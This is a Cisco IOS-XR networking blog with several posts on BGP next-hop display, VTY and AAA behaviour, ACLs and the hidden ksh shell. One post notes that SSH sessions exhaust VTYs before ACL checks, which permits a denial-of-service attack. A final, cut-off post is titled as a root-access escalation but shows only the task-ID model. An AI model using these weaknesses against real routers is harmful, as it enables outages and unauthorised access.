Sunday, October 27, 2013
How Multi is MP-BGP in IOS-XR - Part #2
When two years ago i was writing the first part of "How Multi is MP-BGP in IOS-XR", i concluded with the following:
- In IOS-XR you need an IPv6 NH in order to activate the IPv6 AF for an IPv4 BGP session.
- If you don't have an IPv6 NH, then the IPv4 BGP session won't even come up.
- The above was done to protect against misconfiguration, because otherwise you would get a misleading v4 mapped v6 address as NH.
- If you have an IPv6 NH, then the IPv4 BGP session with the IPv6 AF will come up.
- If afterwards you remove the IPv6 NH, then the session deliberately remains up and you get a misleading v4 mapped v6 address as NH.
Recently i realized that the same IOS-XR developers decided to bring even more confusion into the engineer's everyday job.
Old Fact: You can't have an IPv4 address as next-hop for IPv6 prefixes
New Fact: You must display an IPv4 address as next-hop for IPv6 prefixes
I probably need to explain it a little bit more, because i'm talking about 6VPE this time. 6VPE is a technology/architecture which allows you to have IPv6 connectivity over an IPv4 MPLS (and not only) network.
The original 6VPE scenario where i met this behavior is quite complex, but for simplicity let's assume that it includes only the following:
2 x CE routers (CE1, CE2)
2 x 6VPE routers (PE1, PE2)
2 x P/RR routers (P1, P2)
This is a very simple VPN topology (with only two sites) like the following:
CE1 <=> PE1 <=> P1 <=> P2 <=> PE2 <=> CE2
All routers are exchanging IPv4/IPv6 prefixes using BGP, in order to have IPv4/IPv6 connectivity between the two CEs. IPJ describes the relevant route advertisement with a very nice picture:
If we could follow the exchange of information between some of these routers, then we would notice something like the following.
CE1 sends its IPv6 prefixes to PE1 through MP-BGP and PE1 sends them to P1 accordingly. Since (as of now) there is no support for LDP over IPv6, PE1 sends the IPv6 prefixes using a v4-mapped IPv6 address as next-hop (that's encoded inside the NLRI as shown in the debugs).
This is how the IPv6 prefix is sent from PE1 (10.10.253.164) to P1 (10.10.253.161).
PE1#sh bgp vpnv6 unicast all neighbors 10.10.253.161 advertised-routes BGP table version is 7, local router ID is 10.10.253.164 Status codes: s suppressed, d damped, h history, * valid, > best, i - internal, r RIB-failure, S Stale, m multipath, b backup-path, x best-external, f RT-Filter, a additional-path Origin codes: i - IGP, e - EGP, ? - incomplete Network Next Hop Metric LocPrf Weight Path Route Distinguisher: 100:109 (default for vrf TEST-VRF) *> 2001:DB8:2:60::22/127 2001:DB8:2:50::23 0 32768 ?
This is the relevant debug info that shows how exactly the IPv6 prefix (2001:DB8:2:60::22/127 with next-hop of ::FFFF:10.10.253.164) is sent from PE1 to P1.
BGP(5): (base) 10.10.253.161 send UPDATE (format) [100:109]2001:DB8:2:60::22/127, next ::FFFF:10.10.253.164, label 2689, metric 0, path Local, extended community RT:100:109
And this is how the IPv6 prefix is shown on the P1 (10.10.253.161) when received from PE1 (10.10.253.164):
P1#sh bgp vpnv6 unicast neighbors 10.10.253.164 routes BGP router identifier 10.10.253.161, local AS number 100 BGP generic scan interval 60 secs Non-stop routing is enabled BGP table state: Active Table ID: 0x0 RD version: 3888712472 BGP main routing table version 3 BGP NSR Initial initsync version 3 (Reached) BGP scan interval 60 secs Status codes: s suppressed, d damped, h history, * valid, > best i - internal, r RIB-failure, S stale Origin codes: i - IGP, e - EGP, ? - incomplete Network Next Hop Metric LocPrf Weight Path Route Distinguisher: 100:109 *>i2001:DB8:2:60::22/127 10.10.253.164 0 100 0 ?
Now, if the old fact was existent in the case of VPNv6 prefixes as in the case of simple IPv6 prefixes, then the IPv6 BGP session shouldn't even come up. Instead, it comes up and works fine. But, in order to confuse me even more, the next-hop of an IPv6 prefix is an IPv4 address (!!!).
Reminder...
Old Fact: You can't have an IPv4 address as next-hop for IPv6 prefixes
Quoting from RFC 4659 (BGP-MPLS IP Virtual Private Network (VPN) Extension for IPv6 VPN):
When the IPv6 VPN traffic is to be transported to the BGP speaker using IPv4 tunneling (e.g., IPv4 MPLS LSPs, IPsec-protected IPv4 tunnels), the BGP speaker SHALL advertise to its peer a Next Hop Network Address field containing a VPN-IPv6 address:
- whose 8-octet RD is set to zero, and
- whose 16-octet IPv6 address is encoded as an IPv4-mapped IPv6 address [V6ADDR] containing the IPv4 address of the advertising BGP speaker. This IPv4 address must be routable by the other BGP Speaker.
Now, if we check the PE2 on the other side, who is also getting some IPv6 prefixes from CE2, we'll notice that everything is fine and according to everything we know about 6VPE. So this time the IPv6 prefixes have a v4-mapped IPv6 address as next-hop, which is the expected output for a 6VPE topology.
This is how an IPv6 prefix is shown on the P2 (10.10.231.4) when received from PE2 (10.10.253.165):
P2#sh bgp vpnv6 unicast all neighbors 10.10.253.165 routes BGP table version is 4, local router ID is 10.10.231.4 Status codes: s suppressed, d damped, h history, * valid, > best, i - internal, r RIB-failure, S Stale, m multipath, b backup-path, x best-external, f RT-Filter, a additional-path Origin codes: i - IGP, e - EGP, ? - incomplete Network Next Hop Metric LocPrf Weight Path Route Distinguisher: 100:141 *>i2001:DB8:10:1::22/127 ::FFFF:10.10.253.165 0 100 0 65141 ?
Let's summarize:
P1: IPv6 prefix 2001:DB8:2:60::22/127 with 10.10.253.164 as NH
P2: IPv6 prefix 2001:DB8:10:1::22/127 with ::FFFF:10.10.253.165 as NH
If you still haven't figured out the difference between P1 and P2 based on the outputs given, let me tell you that P1 is an IOS-XR (4.2.x) based platform while P2 is an IOS (15.x) based one. In terms of functionality everything works fine, because internally IOS-XR uses the correct v4-mapped IPv6 address as next-hop. It just doesn't display it on the CLI, neither on the debugs.
Now you might wonder why such a difference in IOS-XR behavior. After waiting for several weeks for a lab reproduction from Cisco, because nobody knew about this behavior, i got a very enlightening answer from the developers:
IOS-XR decided it's best to display the actual next hop which is a v4 nexthop and is also registered with the v4 RIB for tracking purposes, rather than what is transported in the NLRI and matches the output of everything else. So the behaviour is indeed expected and works 'by design'.
Reminder...
Old Fact: You can't have an IPv4 address as next-hop for IPv6 prefixes
Don't you love those guys? First they tell that you can't have a v4 nexthop, but now they tell you that it's better to display a v4 nexthop, although the actual NLRI has a different one.
Luckily, someone inside Cisco (thx Xander once more) agreed that this behavior is misleading, so an enhancement request (CSCuj74543) was opened. If you would like to change this behavior too, please link your case to this DDTS. At the same time a documentation DDTS (CSCuj76745) was opened in order to officially describe this IOS-XR "expected" and "by design" behavior on CCO.
Saturday, September 17, 2011
AAA and VTYs in IOS-XR : Bingo
Continuing on the IOS-XR saga, this is the newest bunch of things that don't "work as expected" (© Cisco). Well, as expected by me, not by Cisco.
Everything started while trying to configure a primary and backup aaa login method on an ASR9k, when i realized that...
1) having a backup aaa login method with the same tacacs servers as the ones in the primary aaa login method (which is using the management vrf) doesn't work
Imagine the following aaa configuration:
! tacacs source-interface MgmtEth0/RSP0/CPU0/0 vrf MGMT tacacs source-interface Loopback0 vrf default ! aaa group server tacacs+ TACACS-AAA-GROUP server x.x.x.x server y.y.y.y ! aaa group server tacacs+ TACACS-VRF-AAA-GROUP server x.x.x.x server y.y.y.y vrf MGMT ! aaa authentication login default group TACACS-VRF-AAA-GROUP group TACACS-AAA-GROUP local !
This is supposed to work in the following way:
As long as at least one mgmt interface is up (i'm using a virtual-ip for the mgmt interfaces), tacacs communication should happen through the out-of-band mgmt interfaces. If all mgmt interfaces are down, then tacacs communication should happen through an inband interface.
Guess what! There seems to be an issue with the above scenario, because in the 2nd case (where all mgmt interfaces are down) tacacs communication doesn't happen at all. Looking at the debugs, it's like the router isn't even trying to use the second (global) tacacs group. This has already been opened as SR (according to tac this should work, so let's hope it's just a bug), so i'm waiting for developers' feedback right now.
In order to overcome the above problem, i thought of using different vty templates, each one with a different access method.
In IOS you can have the following vty configuration and then access vtys 11-15 by either using "telnet x.x.x.x 3001" or "telnet x.x.x.x 2000+y" where y is the tty number displayed by using the command "show line".
! line vty 11 15 login authentication BACKUP-AAA rotary 1 !
Since the "rotary" command is not supported in IOS-XR, this is what you can do:
! line default login authentication default ! line template VTY-TEMPLATE login authentication BACKUP-AAA ! vty-pool default 0 10 vty-pool VTY-POOL 11 20 line-template VTY-TEMPLATE !
And this is the point you realize that you can't choose a vty, because...
2) specific vtys can be accessed only through a combination of a line template and a specific ACL
First shock: You cannot easily access a specific vty line in IOS-XR. Vtys in IOS-XR work in a very different way in comparison to the IOS ones. According to the BU, when you do a telnet/ssh to the router, the router starts a scanning from the first vty (0) to the last vty (including all custom configured ones). When a free (available) vty is found, the vty ACL is checked in order to verify whether its permit conditions are met. If the vty ACL allows this specific access, then the session is opened.
Second shock: If the vty ACL doesn't allow access, then scanning for free vtys continues until one vty is found that has an ACL that allows this specific access. So, the only to way to access a specific vty is to apply a specific and unique ACL under that vty that allows your i.e. source ip. In order to access another vty, you'll have to use another source ip, and so on. Still wondering why Cisco chose such an implementation.
So i tried the following:
! line default login authentication default access-class ingress HOST1-ACL transport input telnet ssh ! line template LINE-TEMPLATE login authentication BACKUP-AAA access-class ingress HOST2-ACL transport input telnet ssh ! vty-pool default 0 10 vty-pool VTY-POOL 11 20 line-template LINE-TEMPLATE ! ipv4 access-list HOST1-ACL 10 permit ipv4 host x.x.x.x any 20 deny ipv4 any any log ! ipv4 access-list HOST2-ACL 10 permit ipv4 host y.y.y.y any 20 deny ipv4 any any log !
...and this is what i got when i tried to telnet from HOST2 to the router
HOST2$ telnet router Trying z.z.z.z... Connected to router. Escape character is '^]'. Connection to router closed by foreign host. ipv4_acl_mgr[267]: %ACL-IPV4_ACL-6-IPACCESSLOGP : access-list HOST1-ACL (20) deny tcp y.y.y.y(46387) -> z.z.z.z(23), 1 packet
So i didn't manage to telnet into vtys 11-20, because my telnet session was dropped by HOST1-ACL. Is this another bug? Who knows...
And when i thought i had met every possible issue, i also found out that vty ACLs are useless for ssh sessions, because...
3) ssh sessions get established before hitting the vty ACLs
Yeap, that's another shock (3rd in a row). When you do a ssh session to an IOS-XR router, the vty (the one that the ssh session will use) is consumed regardless of your vty ACL. That means that the vty is occupied during the whole time the router is waiting for you to enter your password. It's only after you enter your password that you get disconnected because of the vty ACL. And that's a nice way to dos attack an IOS-XR router.
%SECURITY-SSHD-6-INFO_GENERAL : Incoming SSH session rate limit exceeded %SECURITY-SSHD-3-ERR_GENERAL : Failed to allocate pty
Note: the same happens with telnet, but since the username is asked after the ACL check, the time while telnet session remains open is limited.
But wait; isn't that supposed to be solved by Management Plane Protection (MPP)? Sure it is, but...
4) MMP configuration doesn't support ACLs
Who would have though of that! MPP configuration expects you to configure hosts and networks in a Juniper kind of way (although Juniper allows you to reuse the "clients" section).
RP/0/RSP0/CPU0:router(config-telnet-peer)#address ipv4 ? A.B.C.D Enter IPv4 address A.B.C.D/length Enter IPv4 address with prefix RP/0/RSP0/CPU0:router(config-telnet-peer)#address ipv6 ? X:X::X Enter IPv6 address X:X::X/length Enter IPv6 address with prefix
So, if you happen to have already defined ACLs for your NMS/OSS/whatever, which are already being used somewhere else, you can't reuse those ones, but you have to reconfigure all hosts and networks under the MPP section (something that makes mass router config changes even more difficult). You can't even reuse the same hosts/networks under different interfaces!
! control-plane management-plane inband ! interface GigabitEthernet0/3/0/0 allow SSH peer address ipv6 2001:db8::69/64 ! ! interface GigabitEthernet0/3/0/1 allow SSH peer address ipv6 2001:db8::69/64 ! !
And that's surely a nice way to further "expand" your configuration (not to mention BGP dynamic neighbors that are not supported either, but's that's another story).
That's 4 in a row Cisco. Bingo!!!
Note: Many thanks to Arie for helping me with the 2nd issue (once again).
Question to the public:
Is there a character in IOS-XR that fully resembles "!" as a starting comment indicator, like in IOS?
IOS
router(config-line)#login authentication BACKUP-AAA ! backup router(config-line)#
IOS-XR
RP/0/RSP0/CPU0:router(config-line)#login authentication BACKUP-AAA ! backup ^ % Invalid input detected at '^' marker.
In IOS-XR, "!" works only when it is the first character in the line.
Thursday, May 5, 2011
How Multi is MP-BGP in IOS-XR?
This caught me on surprise. I had an impression that IOS-XR as an advanced operating system would support all kinds of multi-protocol transferability over BGP.
As it seems, there is an issue when transferring IPv6 prefixes over an IPv4 peering or IPv4 prefixes over an IPv6 peering. This happens for sure on ASR9k running latest 4.1.0, but i haven't verified it on the CRS yet.
IPv4 prefixes over IPv6 peering
This doesn't seem to be supported based on the available configuration options.
What is even more worrying, is that no other address family is supported too.
RP/0/RSP0/CPU0:ASR#conf t RP/0/RSP0/CPU0:ASR(config)#router bgp 100 RP/0/RSP0/CPU0:ASR(config-bgp)#neighbor 2001::1:2:3 RP/0/RSP0/CPU0:ASR(config-bgp-nbr)#address-family ? ipv6 IPv6 Address Family
IPv6 prefixes over IPv4 peering
This is supported according to the configuration options, but it doesn't work.
Cisco also insists that this is definitely supported.
RP/0/RSP0/CPU0:ASR#conf t RP/0/RSP0/CPU0:ASR(config)#router bgp 100 RP/0/RSP0/CPU0:ASR(config-bgp)#neighbor 10.11.254.37 RP/0/RSP0/CPU0:ASR(config-bgp-nbr)#address-family ? ipv4 IPv4 Address Family ipv6 IPv6 Address Family l2vpn L2VPN Address Family vpnv4 VPNv4 Address Family vpnv6 VPNv6 Address Family
As soon as you enable the IPv6 address family under the IPv4 neighbor, the BGP session is dropped and it never comes up.
RP/0/RSP0/CPU0:ASR#sh bgp sum BGP router identifier 10.11.254.38, local AS number 100 BGP generic scan interval 60 secs BGP table state: Active Table ID: 0xe0000000 RD version: 1 BGP main routing table version 1 BGP scan interval 60 secs BGP is operating in STANDALONE mode. Process RcvTblVer bRIB/RIB LabelVer ImportVer SendTblVer StandbyVer Speaker 1 1 1 1 1 1 Neighbor Spk AS MsgRcvd MsgSent TblVer InQ OutQ Up/Down St/PfxRcd 10.11.254.37 0 100 0 0 0 0 0 00:00:00 Idle
Also, debug shows that there are no tries of BGP to establish a session. It's like BGP gets disabled.
The only doc that refers such a limitation (in IOS-XR 3.3 for CRS) is the one in http://www.cisco.com/en/US/docs/ios_xr_sw/iosxr_r3.3/conversion/reference/guide/cn33main.html#wp1028960
A given address family is only supported with a neighbor whose address is from that address family. For instance, IPv4 neighbors support IPv4 unicast and multicast address families, and IPv6 neighbors support IPv6 unicast and multicast address families. However, you cannot exchange IPv6 routing information with an IPv4 neighbor and vice versa.
I searched all CCO for more information, but i didn't manage to find something useful. Does anyone have extra information to share? TAC is struggling (as usual) to find an answer...
Update #1
Cisco verified once more that this is a supported configuration. Arie Vayner (and later tac) proposed to add an IPv6 address to the interface being used as an IPv4 next-hop. Indeed, this solved the problem and the BGP session came up. But then it became even more interesting...
Two IPv6 prefixes are learned from the IPv4 neighbor. Next-hop is an IPv6 address.
RP/0/RSP0/CPU0:ASR#sh bgp ipv6 uni BGP router identifier 10.11.254.38, local AS number 100 BGP generic scan interval 60 secs BGP table state: Active Table ID: 0xe0800000 RD version: 5 BGP main routing table version 5 BGP scan interval 60 secs Status codes: s suppressed, d damped, h history, * valid, > best i - internal, r RIB-failure, S stale Origin codes: i - IGP, e - EGP, ? - incomplete Network Next Hop Metric LocPrf Weight Path * i2001::1:2:3/128 2003::1:2:3 0 100 0 ? * i2003::/64 2003::1:2:3 0 100 0 ? Processed 2 prefixes, 2 paths
If i remove the IPv6 address from the interface that is being used as next-hop (the one i added before), then i automatically get an IPv6 prefix with an IPv4 next-hop!!!
RP/0/RSP0/CPU0:core-distr-kln-02#sh bgp ipv6 uni BGP router identifier 10.11.254.38, local AS number 100 BGP generic scan interval 60 secs BGP table state: Active Table ID: 0xe0800000 RD version: 6 BGP main routing table version 6 BGP scan interval 60 secs Status codes: s suppressed, d damped, h history, * valid, > best i - internal, r RIB-failure, S stale Origin codes: i - IGP, e - EGP, ? - incomplete Network Next Hop Metric LocPrf Weight Path *>i2001::1:2:3/128 10.11.254.41 0 100 0 ? Processed 1 prefixes, 1 paths
The BGP session stays up, until something happens that will reset it. Then it will stay down forever, as it was happening in the beginning.
I must say that i cannot endorse such an implementation. Using exactly the same configuration, you get different results, depending on the order of (un)configuring things. Also, i cannot understand why the establishment of an IPv4 BGP session that is going to negotiate IPv4/IPv6 address-family capabilities should depend on whether an IPv6 next-hop exists or not. That should be left for the NLRI exchange routine.
After all, RFC 4271 defines among others two error conditions for the NEXT_HOP attribute:
If the NEXT_HOP attribute field is syntactically incorrect, then the Error Subcode MUST be set to Invalid NEXT_HOP Attribute. The Data field MUST contain the incorrect attribute (type, length, and value). Syntactic correctness means that the NEXT_HOP attribute represents a valid IP host address.
If the NEXT_HOP attribute is semantically incorrect, the error SHOULD be logged, and the route SHOULD be ignored. In this case, a NOTIFICATION message SHOULD NOT be sent, and the connection SHOULD NOT be closed.
Update #2
After the developers got involved, we ended up with the following:
- In IOS-XR you need an IPv6 NH in order to activate the IPv6 AF for an IPv4 BGP session.
- If you don't have an IPv6 NH, then the IPv4 BGP session won't even come up.
- The above was done to protect against misconfiguration, because otherwise you would get a misleading v4 mapped v6 address as NH.
- If you have an IPv6 NH, then the IPv4 BGP session with the IPv6 AF will come up.
- If afterwards you remove the IPv6 NH, then the session deliberately remains up and you get a misleading v4 mapped v6 address as NH.
Saturday, April 30, 2011
VTY IPv6 ACLs in IOS-XR
One of the first things you have to do before adding IPv6 addresses in a router, is to protect its management plane. A simple way to implement a part of that is to define an ACL (Access List) under the relevant terminal lines (VTYs).
In IOS it's quite simple.
One ACL for IPv4 and one ACL for IPv6, which cannot share the same name.
! IOS !---- ip access-list extended IPV4-VTY-ACL permit ip 10.0.0.0 0.0.0.255 any deny ip any any log ! ipv6 access-list IPV6-VTY-ACL permit ipv6 2001:DB8::/32 any deny ipv6 any any log ! line vty 0 10 access-class IPV4-VTY-ACL in ipv6 access-class IPV6-VTY-ACL in !
In IOS-XR it gets a little bit tricky.
One ACL for IPv4 and one ACL for IPv6, which must share the same name.
! IOS-XR !------- ipv4 access-list VTY-ACL 10 permit ipv4 10.0.0.0 0.0.0.255 any 20 deny ipv4 any any log ! ipv6 access-list VTY-ACL 10 permit ipv6 2001:DB8::/32 any 20 deny ipv6 any any log ! vty-pool default 0 10 line default access-class ingress VTY-ACL !
Ok, then you think that this is good because it saves you typing.
So you expect to meet the same behavior when viewing the ACLs. Bad Luck. You still have to use the "ipv6" keyword in order to view the ipv6 ACL.
RP/0/RSP0/CPU0:ASR#sh access-lists VTY-ACL ipv4 access-list VTY-ACL 10 permit ipv4 10.0.0.0 0.0.0.255 any 20 deny ipv4 any any log RP/0/RSP0/CPU0:ASR#sh access-lists ipv4 VTY-ACL ipv4 access-list VTY-ACL 10 permit ipv4 10.0.0.0 0.0.0.255 any 20 deny ipv4 any any log RP/0/RSP0/CPU0:ASR#sh access-lists ipv6 VTY-ACL ipv6 access-list VTY-ACL 10 permit ipv6 2001:DB8::/32 any 20 deny ipv6 any any log
Talking about uniformity...
Notes
IOS-XR offers a different way to protect the mgmt-plane by using the MPP feature (Management Plane Protection).
Posted by Tassos at 16:27 1 comments
Tuesday, April 26, 2011
IOS-XR still lacks proper help output
Is it really so hard for Cisco to put a logic in the list of available configuration commands?
This is what you get if you enter "?" under a BVI in an ASR9k running IOS-XR 4.0.1.
RP/0/RSP0/CPU0:ASR9k1(config-if)#? address-family AFI/SAFI configuration arp Configure Address Resolution Protocol bandwidth Set the bandwidth of an interface clear Clear the uncommitted configuration commit Commit the configuration changes to running crypto Set crypto parameters dampening configure state dampening on the given interface describe Describe a command without taking real actions description Set description for this interface do Run an exec command exit Exit from this submode frame-relay Frame Relay interface configuration commands ipv4 IPv4 interface subcommands load-interval Specify interval for load calculation for an interface local-proxy-arp Enable local proxy ARP logging Per-interface logging configuration mac-address Set the Mac address(xxxx.xxxx.xxxx) on an interface maintenance Configure maintenance embargo flag on the given interface mtu Set the MTU on an interface no Negate a command or set its defaults proxy-arp Enable proxy ARP pwd Commands used to reach current submode root Exit to the global configuration mode service-policy Configure a service policy show Show contents of configuration shutdown shutdown the given interface vrf Set VRF in which the interface operates
I thought IOS-XR would improve such simple things, especially as now it has become mature.
Wouldn't it be better to have some of the commands that are not applicable to interface configuration under a different paragraph, like below?
RP/0/RSP0/CPU0:ASR9k1(config-if)#? address-family AFI/SAFI configuration arp Configure Address Resolution Protocol bandwidth Set the bandwidth of an interface crypto Set crypto parameters dampening configure state dampening on the given interface description Set description for this interface frame-relay Frame Relay interface configuration commands ipv4 IPv4 interface subcommands load-interval Specify interval for load calculation for an interface local-proxy-arp Enable local proxy ARP logging Per-interface logging configuration mac-address Set the Mac address(xxxx.xxxx.xxxx) on an interface maintenance Configure maintenance embargo flag on the given interface mtu Set the MTU on an interface no Negate a command or set its defaults proxy-arp Enable proxy ARP service-policy Configure a service policy shutdown shutdown the given interface vrf Set VRF in which the interface operates --------------------------------------------------------- clear Clear the uncommitted configuration commit Commit the configuration changes to running describe Describe a command without taking real actions do Run an exec command exit Exit from this submode pwd Commands used to reach current submode root Exit to the global configuration mode show Show contents of configuration
Just wondering....
Notes
NX-OS has already solved that problem.
Posted by Tassos at 18:13 0 comments
Sunday, September 26, 2010
How to edit text files in IOS-XR - The easy way
Everyone dealing with IOS-XR will know that you have the option of using an editor to edit your RPL (Routing Policy Language) configuration. As of 3.9.1 the available editors are the following:
- nano
- emacs
- vim (enhanced version of vi)
The same editors are also available for editing any text file that exists on your router's filesystem. In order to be able to use them, you just have to enter ksh mode by using the hidden "run" command. "run" is referenced briefly on CCO, but its usage is discouraged for everyday operation.
RP/0/RSP0/CPU0:asr9k#run # pwd /disk0a:/usr
QNX kernel:
# uname -a QNX node0_RSP0_CPU0 6.4.0 2010年01月14日-11:12:50PST asr9k ppcbe
All filesystem devices can be found under the root directory:
# cd / # ls -al | grep ":$" ls: Operation not supported (./nvram-raw:) lrwxrwxrwx 1 0 0 11 Jun 14 22:19 bootflash -> /bootflash: drwxrwxrwx 3 0 0 76 Jan 01 1970 bootflash: lrwxrwxrwx 1 0 0 14 Jun 14 22:19 compactflash -> /compactflash: drwxrwxrwx 3 0 0 16384 Sep 15 22:08 compactflash: drwxrwxrwx 2 0 0 668 Jan 01 1970 configflash: lrwxrwxrwx 1 0 0 7 Jun 14 22:19 disk0 -> /disk0: drwxrwxr-x 35 0 0 4096 Sep 26 21:50 disk0: drwxrwxr-x 6 0 0 4096 Feb 25 2010 disk0a: lrwxrwxrwx 1 0 0 7 Jun 14 22:19 disk1 -> /disk1: drwxrwxr-x 35 0 0 4096 Sep 26 21:50 disk1: drwxrwxr-x 4 0 0 4096 Apr 08 2009 disk1a: lrwxrwxrwx 1 0 0 22 Sep 26 22:07 dumper_bootflash: -> /qsm/dumper_bootflash: lrwxrwxrwx 1 0 0 25 Sep 26 22:07 dumper_compactflash: -> /qsm/dumper_compactflash: lrwxrwxrwx 1 0 0 24 Sep 26 22:07 dumper_configflash: -> /qsm/dumper_configflash: lrwxrwxrwx 1 0 0 18 Sep 26 22:07 dumper_disk0: -> /qsm/dumper_disk0: lrwxrwxrwx 1 0 0 19 Sep 26 22:07 dumper_disk0a: -> /qsm/dumper_disk0a: lrwxrwxrwx 1 0 0 18 Sep 26 22:07 dumper_disk1: -> /qsm/dumper_disk1: lrwxrwxrwx 1 0 0 19 Sep 26 22:07 dumper_disk1a: -> /qsm/dumper_disk1a: lrwxrwxrwx 1 0 0 21 Sep 26 22:07 dumper_harddisk: -> /qsm/dumper_harddisk: lrwxrwxrwx 1 0 0 22 Sep 26 22:07 dumper_harddiska: -> /qsm/dumper_harddiska: lrwxrwxrwx 1 0 0 22 Sep 26 22:07 dumper_harddiskb: -> /qsm/dumper_harddiskb: lrwxrwxrwx 1 0 0 20 Sep 26 22:07 dumper_lcdisk0: -> /qsm/dumper_lcdisk0: lrwxrwxrwx 1 0 0 21 Sep 26 22:07 dumper_lcdisk0a: -> /qsm/dumper_lcdisk0a: lrwxrwxrwx 1 0 0 18 Sep 26 22:07 dumper_nvram: -> /qsm/dumper_nvram: lrwxrwxrwx 1 0 0 16 Jun 14 22:19 ftp: -> /qsm/dev/fs/ftp: drwxrwxr-x 14 0 0 4096 Sep 26 21:49 harddisk: drwxrwxr-x 4 0 0 4096 Aug 25 13:11 harddiska: drwxrwxr-x 5 0 0 4096 Apr 08 2009 harddiskb: lrwxrwxrwx 1 0 0 7 Sep 26 22:07 install -> /disk0: lrwxrwxrwx 1 0 0 7 Sep 26 22:07 install_read -> /disk0: drwxrwxrwx 0 0 0 1 Jan 01 1970 nvram: lrwxrwxrwx 1 0 0 16 Jun 14 22:19 rcp: -> /qsm/dev/fs/rcp: lrwxrwxrwx 1 0 0 17 Jun 14 22:19 tftp: -> /qsm/dev/fs/tftp:
i.e. in order to edit the admin configuration using a much easier way, you just have to move to the correct path and edit the appropriate file (or your can supply the whole path in the same line).
# cd disk0: # cd config/admin # pwd /disk0:/config/admin # ls -al total 20 drwxrwxrwx 2 0 0 4096 Sep 15 22:09 . drwxr-xr-x 6 0 0 4096 Aug 25 13:35 .. -rw-r--r-- 1 0 0 416 Sep 15 22:09 admin.bin -rwx------ 1 0 0 307 Sep 14 19:06 admin.cfg -rw-r--r-- 1 0 0 416 Sep 15 22:09 admin_nonlr.bin -rwx------ 1 0 0 307 Sep 15 22:09 last_used.cfg
Now, you can use nano to edit a file:
# nano admin.cfg
Or you can use emacs, which has some "nice" drop-down menus:
# emacs admin.cfg
Perl is also available, if you want to experiment with scripting...
# perl -v This is perl, v5.6.0 built for 4k- Copyright 1987-2000, Larry Wall Perl may be copied only under the terms of either the Artistic License or the GNU General Public License, which may be found in the Perl 5.0 source kit. Complete documentation for Perl, including FAQ lists, should be found on this system using `man perl' or `perldoc perl'. If you have access to the Internet, point your browser at http://www.perl.com/, the Perl Home Page.
...but i haven't tried to run complex scripts yet.
# cat test.pl
for ($count = 10; $count >= 1; $count--) {
print "$count\n";
}
print "Ignition!\n";
# perl test.pl
10
9
8
7
6
5
4
3
2
1
Ignition!
The included perl modules are limited and i don't know if it's possible to add external ones.
# pwd /pkg/lib/perl # ls -alR .: total 156 -rwxrwxrwt 1 0 0 10167 Sep 07 21:46 AutoLoader.pm dr-xr-xr-x 0 0 0 1 Jan 01 1970 Carp -rwxrwxrwt 1 0 0 4166 Sep 07 21:46 Carp.pm -rwxrwxrwt 1 0 0 28050 Sep 07 21:46 DynaLoader.pm -rwxrwxrwt 1 0 0 10377 Sep 07 21:46 Exporter.pm dr-xr-xr-x 0 0 0 1 Jan 01 1970 Sys -rwxrwxrwt 1 0 0 3591 Sep 07 21:46 XSLoader.pm dr-xr-xr-x 0 0 0 1 Jan 01 1970 cisco -rwxrwxrwt 1 0 0 2479 Sep 07 21:46 strict.pm -rwxrwxrwt 1 0 0 2746 Sep 07 21:46 vars.pm dr-xr-xr-x 0 0 0 1 Jan 01 1970 warnings -rwxrwxrwt 1 0 0 14333 Sep 07 21:46 warnings.pm ./Carp: total 17 -rwxrwxrwt 1 0 0 8632 Sep 07 21:46 Heavy.pm ./Sys: total 8 -rwxrwxrwt 1 0 0 3719 Sep 07 21:46 Hostname.pm ./cisco: total 2 dr-xr-xr-x 0 0 0 1 Jan 01 1970 fm dr-xr-xr-x 0 0 0 1 Jan 01 1970 lib ./cisco/fm: total 23 -rwxrwxrwt 1 0 0 3332 Sep 07 21:46 perl_fm_action.pm -rwxrwxrwt 1 0 0 4301 Sep 07 21:46 perl_fm_event.pm -rwxrwxrwt 1 0 0 765 Sep 07 21:46 perl_fm_misc.pm -rwxrwxrwt 1 0 0 2558 Sep 07 21:46 perl_fm_util.pm ./cisco/lib: total 5 -rwxrwxrwt 1 0 0 2304 Sep 07 21:46 smtp_lib.pm ./warnings: total 2 -rwxrwxrwt 1 0 0 794 Sep 07 21:46 register.pm
Note : Since ksh gives you a kind of low level access, you have to be very careful with it.
Posted by Tassos at 21:51 3 comments
Monday, September 13, 2010
How to get full root access in IOS-XR with just a single permission
During the last week i'm experimenting with an ASR9000 and IOS-XR and here is something tricky i found out yesterday.
You may already know that IOS-XR uses a different concept for users' permissions. In IOS you have users and privilege levels, while in IOS-XR you have Users, User Groups, Task Groups and Task IDs. In general, the operational tasks that enable users to control, configure, and monitor the router are represented by Task IDs. A Task ID defines the permission needed to perform a command. Users are associated with sets of Task IDs that define the capabilities of their authorized access to the router. More specifically:
Users belong to User Groups
User Groups include various Task Groups
Task Groups define Read/Write/Execute/Debug Task IDs
Task IDs correspond to specific CLI commands
By following the above relationship in reverse order you end up with the required configuration.
1) In order to find the corresponding Task ID for a cli command, you can execute the "describe" command followed by the CLI command you're interested to.
RP/0/RSP0/CPU0:asr9k#describe show interfaces The command is defined in show_interface.parser Node 0/RSP0/CPU0 has file show_interface.parser for boot package /disk0/asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm from asr9k-base Package: asr9k-base asr9k-base V3.9.1[00] Base Package for ASR9K Vendor : Cisco Systems Desc : Base Package for ASR9K Build : Built on Sun May 2 09:32:03 EET 2010 Source : By sjc-lds-511 in /auto/srcarchive4/production/3.9.1/asr9k/workspace for c4.2.1-p0 Card(s): RP, RP-B, HRP, OC3-POS-4, OC12-POS, GE-3, OC12-POS-4, OC48-POS, E3-OC48-POS, E3-OC12-POS-4, E3-OC3-POS-16, E3-OC3-POS-8, E3-OC3-POS-4, E3-OC48-CH, E3-OC12-CH-4, E3-GE-4, E3-OC3-ATM-4, E3-OC12-ATM-4, E5-CEC, E5-CEC-v2, SE-SEC, NP24-4x10GE, NP24-40x1GE, NP40-40x1GE, NP40-4x10GE, NP40-8x10GE, NP40-2_20_COMBO, NP80-8x10GE, NP80-16x10GE, LC, E3-OC12-CH-1, E7-CEC, A9K-SIP-700 Restart information: Default: parallel impacted processes restart Component: pfi-im-cmd V[r39x/4] PFI show commands File: show_interface.parser Card(s) : RP, DRP, SC File type : Default Remotely-hosted : No Local view : /pkg/parser/show_interface.parser Local install path : /disk0/asr9k-base-3.9.1/parser/show_interface.parser Central install path : /disk0/asr9k-base-3.9.1/parser/show_interface.parser User needs ALL of the following taskids: interface (READ) It will take the following actions: Spawn the process: show_interface -a
